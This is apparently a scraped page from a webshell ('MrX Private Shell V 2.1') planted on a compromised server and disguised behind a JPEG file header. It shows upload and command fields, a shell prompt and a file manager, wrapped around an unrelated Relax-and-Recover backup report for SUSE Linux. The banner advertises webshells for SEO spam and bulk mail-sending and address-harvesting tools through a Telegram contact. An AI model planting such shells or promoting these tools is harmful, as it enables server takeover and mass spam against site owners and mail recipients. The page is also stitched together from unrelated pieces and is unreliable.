����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
Version:    Relax-and-Recover 2.6 / 2020-06-17
Validation: SUSE_LINUX/15/i386
Submitted:  Thomas Hauenstein <th69xx@t-online.de>, Germany
Date:       2021-03-15
Features:   tar backup to external USB harddisk
Comment:    We had to manually include btrfs subvolumes in local.conf with 
            BACKUP_PROG_INCLUDE; Rest of backup process worked out of the box; 
            Restore process: The default target disk proposed by rear recover 
            was the boot disk (same size as system disk that was archived) with 
            the backup file and rescue system on it. Without interfering 
            manually the rescue media is destroyed (We tested once and it 
            was...); Second attempt the target disk (empty, new ssd with 
            different size as original disk) was chosen manually during 
            the restore process and it finished with a bootable system without 
            any further problems;

Filemanager

Name Type Size Permission Actions
i386.txt File 935 B 0644